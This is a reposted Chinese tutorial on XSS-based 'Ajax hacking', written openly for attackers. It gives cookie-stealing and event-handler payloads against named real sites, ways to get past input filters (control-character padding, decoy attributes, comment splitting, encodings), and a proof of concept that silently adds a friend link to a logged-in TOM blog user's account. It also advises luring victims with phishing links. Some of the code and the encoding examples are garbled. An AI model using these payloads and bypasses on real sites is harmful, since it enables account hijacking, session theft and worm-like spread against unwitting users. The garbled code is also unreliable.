关于Ajax hacking的一篇文章,看来要完善的东西还有很多啊.

(转:http://www.xdiyer.cn/?id=399) 
  Ajax
hacking 这个名词最先出现在 Billy Hoffman 的一篇名为《 AJAX dangers 》报告中,他把 samy yamanner 这种攻击形式定义为 AJAX hacking 。而在此之前它们只是被说属于 web2 . 0 蠕虫(或 XSSworm ,但对这种攻击形式并没有一个明确的定义。这里我们暂以 AJax hacking 中的 XSS 进行一些深入的性讨论 。关于 Ajax 的其他攻击形式请到网上参看文章《 Top 10 Ajax Security Holes and Driving Factors 》或 者是翻译成中文的《细数 Web2 . 0 下的十大安全威胁》。

  在传统的 XSS 攻击中,我们的目的通常是直接提权或者获取 Cookies 后提权,所以代码执行方式一般是 windows . open window . location iframe ,于是它的两大弱点就体现出来了,不具有传播性和易暴 露性。在 AJax hacking 中利用 Ajax 这 一种新技术,攻击方式及对象得以转变。其实绝大部分人在获得管理员权限又拥有文件更改权限后所能做的也就是挂马,很少设计商业机密之类!而这一攻击则直接 把矛头指向客户端,由于数据全部是使用异步调取方式,所以具有很强的隐蔽能力;通过操纵已登录的用户权限,可以直接对用户信息进行更改,甚至可以使该代码 集合自动传播实现蠕虫功能。

   XSS 利用方式

  在传播的 XSS 攻击案例中,代码插入的利用方式一般是在 URL 和文本区域( textarea )中。但对于日前大面积利用 Ajax 技术进行建站的站点来说,利用新形式的 Ajax hacking 技术可以将利用方式大体扩展到 URL 域、 input 域、 textarea 域、 embed 域、 css rss xml 载体七种方式。

   URL XSS

  可以进行 XSS URL 一般为 "(域名)/(文件名)(文件格式)?(字段名)=(字段内容)" 这种形式,而且字段内容通常会在页面的某一个位置显示出来或者被调用。由于网站编写者的疏忽,没有把对应的字段内容进行安全检测和过滤,而直接调用到页面上,使得我们只把字段内容替换成我们想要的 XSS 代码即产生跨站。比如:

http
: //club.sohu.com/joke/1.htm? stra=<script>alert(document.cookie);</script>
  但是这种方式一般需要诱使用户点击你事先伪造的链接,而链接你可以挂在论坛里或者以 E - mail 的方式进行钓鱼性欺骗。

   Input textarea 以及 css XSS

   input textarea 以及 css XSS 是我们所用到的方式中最广泛的几种,由于 css 实际上属于 Dhtml 一部分,所以它们的利用方式及绕过过滤特点也大体相同,我们将在后面着重进行相关的解释和实验。

   Embed XSS

   Embed XSS 一般利用在允许插入视频,音乐以及 flash 的站点上,如果你链接到一个被恶意构造了含有 XSS 脚本的 flash 文件,比如< EMBED SRC = "xss.swf">< / EMBED> ,然后我们构造一个特殊的. swf 文件,并在 flash 文件的动作里插入以 Action Script 引到的 js vbs 代码。当用户访问该页面时既 产生跨站。

   Rss 以及 Xml XSS

  这种攻击一般利用在可以进行 rss 聚合的站点以及部分本地的 rss 解释器上(据说对本地的 rss 解释器进行 XSS ,有获得主机权限的可能性,不过本人没有试过这个!),而且由于 rss 文件一般可以在任何站点上被引用,所以想进行这类的攻击测试是很简单的事情,效果也相当明显。下面是对一个没有进行任何过滤设置的本地调用远程 rss . xml 的实例效果,以及 Google 调用该 rss 的过滤效果。

  代码插入方式

  由于插入的脚本为 js 或者是 vbs ,所有一般需要由的关键字 JavaScript VbScript expression < IMG SRC = "JavaScript:alert('XSS');"> ,但当接收鼠标或键盘响应时,这三个关键字可以省略掉,所以有以下利用方法 < img onmouseover = "alert('XSS')"> 或者< INPUT onkeyup = "alert('XSS');"> 等等。而且由于 html 不遵循 xhtml 的标准,所以可以有以下插入方式:

1 、标签属性可以用双引号、可以用单引号、也可以可不用引号;

2 、属性值可以大写;可以小写;也可以混合写;

3 、可以插入回车、包括段末结尾符和换行符的两种、即 char 10 )和 char 13 )、 tab 空格;

4 、如果是 style 形式还可以插入反斜线 "\"、注释符" /**/ ";

5、可以将插入的代码转换成10进制、16进制;

6、由于禁止的不确定性,你插入的进制串可以进行一系列转化并可以随意搭配组合;

7、进字符"
j "就可以有以下15种编码方法,而且还是不计字符的大小写。

\6A\06A\006A\0006A\00006A //java形式的16进制编码

jjjjj //十 进制编码

jjjjj //十 六进制编码

8、其他的编码方式,如htmlEncode和URLEncode对于html及URL的编码。

  至于可以插入代码的html标签嘛……说句近乎疯狂的话——目前几乎所有可以插入属性的标签都 可以插入代码,比如<bstyle="
xss : expression ( alert ( 'XSS' )) ">。

在html标签中可以插入代码的属性一般为:src、style、dynsrc(常用于img和input中,用此属性还可以插入视频等)、 lowsrc(预载缩略图)、鼠标属性(如o n m o u s e o v e r )、键盘属性(如onkeypress)、href属性(常用于a和link)、boby的onload属性、URL属性等。

  过滤绕过方式

  当然人家网站也不可能傻乎乎地让你输入这些代码,所以它们一般会对你输入的字符进行过滤。所以我们编写好的代码并一定就能顺利的插入执行,很有可能某些关键的字符被过滤掉了,比如"
JavaScript "。如果只是这种单纯的过滤,那么绕过方法实在太简单,只要每当输入此字符时输入" javajavascriptscript "之类就可以了。当然网站程序员依然不会这样傻,它们会进行种种过滤来防备你,所以结合上面的" 代码插入方式 ",你可能会总结出以下的绕过网站过滤系统的方法:

  1、用控制字符的ASCII码填充

  比如<IMG SRC="
& #15; JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该知道系统控制字符一共是33个,这里去掉一个头& #00(null)和一个尾(del),其他31个字符均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依 然可以用"代码插入方式"中的"方案7"进行编码的任意转换。七种tab符 、换行符 、回车符 可以插到代码 任何地方。

   2 、插入混淆属性

  当我们进行一般的文字录入时会发现,并不是所有带 "JavaSceipt" 这样的字符都会被过滤掉。而是只有在 html 标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在 html 标签的外面。比如:

< img src = "abc>" onmouseover = "[code]"> //插入混淆的src属 性

< IMG """><SCRIPT>[code]</SCRIPT>"> //插入混 淆的双引号及 ">"符号

< SCRIPT a = ">" SRC = "xss.js">< / SCRIPT> //插入混淆的a 属性

   3 、用注释符分割

  由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响 XSS 代码的正常运行。比如:

< img style = "xss:expr/*XSS*/ession([code])"> //css的注释符号 为/**/,其中的内容会被忽略

< style> @im \ port '\ja\vasc\ript:alert("XSS")' ;< / style> //css中忽略的符号还有"\"

exp
/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/ pression ( alert ( "XSS" )) '> //注释混淆后的样子

<style><!--</style><script>[code]//-- ></script> //html的注释符为<!--注释-->

  4、js编码及调用

  如果过滤系统会过滤掉很多的特征字符,那么当我们做以上绕过的时候就会非常的麻烦,所以典型的绕过方案还有对这些代码进行js编码或者干脆从外部调用过来。当然由于浏览器对Ajax的安全机制,你必须保证调用的文件在相同的服务器上,否则就会出现错误提示。

  异步数据调用

  既然是Ajax hacking,自然需要用到异步的数据调用。这里将简单的介绍一下相关的知识,要更 深入的了解是长期实践的结果。

  1、声明xmlhttprequest对象

  数据调用需要事先声明xmlhttprequest对象,在IE6及以前版本中最简单的做法是:

var XmlHttp=new ActiveXObject("Microsoft.XMLhttp");

  在IE7和firefox中的声明方法是:

var req = new XMLHttpRequest();

  所以如果我们想编出兼容性更好的代码,可以对客户端浏览器进行判断,然后分别定义 xmlhttprequest对象,如下:

if(window.XMLHttprequest){
XmlHttp = new XMLHttpRequest();
}else if (window.ActiveXObject){
Xmlhttp = new ActiveXObject ('
Microsoft . XMLHTTP ');
}
  然后采用以下方法进行参数传递

XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);

  这里要主意的是,XmlHttp.Open中的第一个选项为页面的请求方式,可以为post、get、head三种 第三 个选项true表示异步方式、false表示同步方式。

  利用以上代码,你可以简单实现一下在TOM博客中为当前用户添加任意用户的友情链接,如果添加 成功 会返回OK窗口,已经添加会返回friended,代码如下:

<script>
var XmlHttp=new ActiveXObject ("Microsoft.XMLhttp");
XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php? UserName=monyer1&Flag=1",true);
XmlHttp.send(null)
XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
if (Xmlhttp.readystate==4 || XmlHttp.readystate=='
complete ')
alert (XmlHttp.responsetext); }
</script>
  利用相同原理,给登录用户添加文章也不是什么难题,只不过稍微麻烦店而已,感兴趣的朋友可 以自 己回去试试。

  V b s c r i p t 中声明xmlhttprequest的代码为这样:

dim httpreq as msxml.xmlhttprequest
set httpreq = new xmlhttprequest
httpreq.setrequesttheader "content- type:","text/xml;charest=gb2312"
httpreq,send
  利用方式与js大体相同,这里不做过多的即时。

  2、获取页面元素

  获取页面指定标签和标签中的值一般会用到以下几个DOM对象,当然对象后面可以加入相关属性, 比如 style、value、innerHTML等等。

1)document. getElementByld //获得制定id的html标签相关信息

2)document. getElementByname //获得指定name的html标签相关信息

3)document. getElementByTagName //获得指定的html标签相关信息

  3、在页面中插入html元素

我指导的可以在页面插入html的js函数有insertAdjacentHTML、innerHTML(outerHTML)、 inserAdjacentText、innerTEXT(outerTEXT)。其中前两个是插入html代码,后两个是插入文本,所以我们一般所用的 就是前两个。另外用document对象中的createlement也可以实现代码插入,输入js代码时 请注意大小写问题。

1) <a href="#" onclick="this.innerHTML='
< h1> i am monyer< / h1> ' ">innerHTML</a> //替换当前标签中的内容,作用域不包括当前的 html标签

2)<a href="#" onclick="this.outerHTML='
< h1> i am monyer< / h1> ' ">outerHTML</a> //替换当前标签及标签中的内容,作用域包括当前标签及其中所有内容

3)<a onclick="this.insertAdjacentHTML('
afterEnd ',<h1>monyer</h1>' ) " href=" #">insertAdjacentHTML</a> //新增插入的html代码,不改 变原标签及内容

  指定插入 html 标签语句的地方,有四种值用:

a
. beforeBegin :插入到标签开始标记后

b
. afterBegin :插入到标签开始标记后

c
. beforeEnd :插入到标签结束标记前

d
. afterEnd :插入到标签结束标记后

  灵活地运用这两个函数能帮我们变换出丰富的效果来,我利用百度空间插入视频的简化 POC

Html 页面的代码为:

< script scr = monyerflash . js>< / script>
< address> src = http :/ / tv . mofile . com / cn / xplayer . swf ? v = 9IWKFISE< / address>
monyerflash
. js 代码为:

windwo
. onload = function (){
var i , j , x , y , z ;
j
= document . getElementsByTagName ( 'address' );
for ( i = 0 ; i< j . length ; i ++){
y
= document . getElementsByTagName ( 'address' ) [ i ];
z
= document . getElementsByTagName ( 'address' ) [ i ]; firstChild . data ;
x
= '<br/><embed ' + z + '></embed>' ;
if ( y ) y . insertAdjacentHTML ( 'beforeEnd' . x );
}}
  总结

  有了以上概述,相信你对 Ajax hacking with XSS 已经有了一个大体的了解,并且只要把文中的响应内容进行简单的组合和更改,就很可能做出某些令人惊喜的东西。当然因为 Ajax 应用的是 JavaScript 的一部分,所以想充分利用 Ajax 式的 hacking 并发挥它的威力还需要你对 JavaScript 有一个充分的了解。当你在各个过滤系统间实战时,你会遇到更多的苦难并需要试着解决各种问题。我认为是否真正入侵一个网站或者顺利挂马是次要的,不断提高自己,在功与防的对立统一中不断寻求突破才是王道!

你可能感兴趣的:(hack)